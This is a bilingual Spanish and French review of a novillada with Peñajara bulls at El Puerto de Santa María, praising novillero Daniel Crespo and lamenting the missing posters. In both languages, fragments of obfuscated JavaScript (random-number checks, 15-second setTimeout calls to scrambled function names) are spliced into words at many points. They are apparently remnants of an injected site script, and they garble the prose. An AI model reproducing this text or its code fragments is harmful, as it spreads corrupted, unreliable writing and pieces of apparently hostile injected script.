NOVILLOS EN EL PUERTONOVILLOS AU PUERTO

Remozada, alegre, buscandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando en su exornado sus orígenes, la Plaza Real de El Puerto de Santa María luce una nueva belleza muy bien avenida con su historia y solera. Bienvenidos los cambios cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, como en este caso, es para mejorar la imagen y estructura de un monumento histórico, artístico y de tanta raigambre taurina.

Pero, por desgracia, no han sido los únicos. Situado ante la fachada de su portada principal echo de menos al mínimo atisbo de un cartel anunciador de los festejos programados para esta temporada. El que tradicionalmente ocupaba una parte de dicho frontal ha desaparecido, de forma que el viandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andante que transita por sus aledaños no recibe la mínima información de que –como ocurrió el sábado– esa tarde hay toros. Tampoco en el trayecto que va desde la carretera de Sanlúcar hasta la plaza me tropiezo con ningún cartel de los que habitualmente dan publicidad a las corridas. ¿Será que han decidido “esconder” la Fiesta, o es que estamos ante un  nuevo experimento de márquetin empresarial?... Desde luego, ante el desolador aspecto de los tendidos en la novillada y la pobre entrada de la corrida de reinauguración, no parece que el “sistema” esté dandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el mínimo resultado; pero doctores tiene la Iglesia. Esperemos que este “silencio publicitario” sólo obedezca a alguna circunstancia pasajera.

Sin embargo, lo que sucedió en el ruedo dio motivos para reconfortarnos en nuestra afición. En primer lugar, por la encastada novillada de Peñajara, compuesta por astados de distinto juego –uno sobresaliente, el quinto; otro bueno, el primero; manejable y más dulce el tercero; con genio el segundo; complicado el cuarto y una “prenda” el sexto–, mas todos cortados por el mismo patrón de la casta. Y decir casta es decir emoción y esa dificultad para los toreros que el temperamento lleva aparejado. La mayoría empujó, metiendo los riñones, en el caballo, y en la muleta todos tuvieron sus teclas que tocar y fueron exigentes para sus matadores.

La otra sorpresa grata de la tarde fue el buen corte de torero del portuense Daniel Crespo, que atesora torería y calidad en lo que hace amén de otras virtudes. Era la primera vez que lo veía torear y me causó muy buena impresión con su modo despacioso de conducirse por el ruedo, su clasicismo sobrio y sin afectación y ese regusto que imprime a las suertes cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando le salen acordes a su manera de sentir. Con el capote, dejó pinceladas artísticas a la verónica y de firmeza en las gaoneras, ante su primero, en cuya faena plasmó pasajes de extraordinaria factura, aunque sin acabar de rematar del todo la obra como la calidad del novillo merecía.

Con ese puntito de duda en mi mente, me dispuse a verlo ante las complicaciones del cuarto, que comenzó quedándose por debajo y con muy corta y deslucida embestida. Pero aquí Crespo no se dio por vencido. Sacó paciencia y voluntad y, lejos de aburrirse, fue construyendo una laboriosa faena hasta llegar a imponerse al animal, que, viéndose vencido, sacó su lado bueno entregándose a la mano zurda del torero, que dibujó naturales de auténtico mérito y emotiva belleza. De nuevo salió a relucir ese regusto del que antes hablaba y, tras una media estocada mortal de necesidad, el chaval vio recompensada su torería y afán de triunfo con una merecida oreja que no da debida cuenta de lo que fue el total de su notable actuación.

Sus compañeros de terna me gustaron menos. Innegable, eso sí, la voluntad derrochada por Pablo Aguado, al que le tocó el novillo de la tarde con una fijeza y una calidad por el pitón izquierdo sumamente notables; una embestida humillada, larguísima y repetidora, aderezada con la pólvora de la casta, que transmitió mucho a los tendidos, sin ser para nada fácil. Pablo le hubiera cortado una oreja con fuerza o tal vez las dos si hubiera acertado con el acero, no obstante, en honor a la verdad, me gustó más el novillo que el novillero. En cuanto a Alfonso Cadaval, se encontró con el utrero más dulce y el de más “guasa” de la novillada. Con el primero acertó a sacar alguna tandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda estimable por el pitón izquierdo y con el malo se le notó la falta de oficio y seguridad que aún no ha tenido tiempo de adquirir.

Rénovée, pimpante, à la recherche de la décoration d’origine, la Plaza Real du Puerto de Santa María brillent de cette nouvelle beauté en accord avec son histoire et son prestige. Bienvenus les changements quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and, comme pour celui-ci, c’est pour améliorer l’image et la structure d’un monument historique, artistique et si enraciné taurinement. Mais malheureusement ils n’y en a pas eu d’autres.

Je regrette qu’il n’y ait pas sur la façade principale la moindre affiche annonçant la programmation de cette saison. L’endroit qui lui était réservé a disparu, ainsi le promeneur qui souhaiterait voir ces cartels –comme cela s’est produit samedi dernier- ne sait pas qui est au cartel. Je n’en retrouve pas non plus sur le trajet qui va de la route de Sanlucar aux arènes, comme cela était habituel. Ont-ils donc décidé de « cacher » la corrida ou sommes-nous face à un nouveau type de marketing de management ? En tout cas, vu l’aspect désolant des gradins pour la novillada et la pauvre entrée pour la corrida de ré-inauguration, il ne me semble que le « système » marche ; mais c’est à voir. Souhaitons que ce « silence publicitaire » obéisse uniquement à des circonstances passagères.

Cependant, ce que se produisit dans l’arène réconforta notre aficion. D’abord, avec cette la novillada encastée de Peñajara, avec des novillos au comportement varié -  un excellent cinquième, un bon premier, un maniable et doux troisième, un agressif second, un compliqué quatrième et un épineux sixième- mais tous avec ce dénominateur commun qu’est la caste. Et dire caste cela veut dire émotion et difficulté pour les toreros avec le tempérament qui va avec. La plupart poussèrent, avec les reins, au cheval et à la muleta il fallut les dècrypter et se révélèrent exigeants pour les toreros. La première belle surprise de la course fut le bon concept taurin du torero du Puerto Daniel Crespo, qui détient de la toreria et des qualités à défaut d’autres vertus. C’était la première fois que je le voyais toréer et j’ai apprécié le calme avec lequel il se conduit dans l’arène, son classicisme sobre et sans en rajouter et cette saveur qu’il imprime à ses passes en accord avec sa sensibilité. A la cape, il a laissé son empreinte artistique à la véronique et s’est montré ferme dans les gaoneras, devant son premier, dans une faena avec de très beaux passages, même s’il n’a pas été tout à fait à la hauteur du grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and novillo qui lui échut. Un léger doute s’installa dans mon esprit avant de le voir face au quatrième, un novillo qui avait commencé par s’arrêter, avec une très courte et peu reluisante charge. Mais Crespo ne s’est pas laissé vaincre. Il s’est montré volontaire et patient et au lieu de s’ennuyer il a construit une faena laborieuse jusqu’à s’imposer à l’animal qui, se voyant vaincu, sortit son bon côté en se livrant sur la corne gauche du torero, qui dessina des naturelles très méritoires et d’une émouvante beauté. A nouveau on put percevoir cette saveur que j’évoaquais auparavant et après une demie estocade bien placée le garçon vit récompensée sa toreria et sa volonté de triompher avec une oreille méritée qui ne reflète pas l’ensemble de sa prestation.

Les autres novilleros m’ont moins plû. Indiscutable, il est vrai, la volonté affichée par Pablo Aguado, qui eut le meilleur novillo de la course avec une fixité et une qualité du côté gauche notoires ; une charge soumise, très longue et répétitive, pimentée avec la poudre de la caste, qui provoqua beaucoup d’émotions sur les gradins, sans être facile. Pablo lui aurait coupé une forte oreille ou les deux s’il avait éte plus habile à l’épée mais, pour être sincères, j’ai plus aimé le novillo que le novillero. Quant à Alfonso Cadaval, il se retrouva devant le novillo le plus doux et face au plus incommode de la novillada. Avec le premier il réussit à sortir quelques séries estimables du côté gauche et devant le mauvais on perçut clairement qu’il lui manque encore du métier et de l’assurance.

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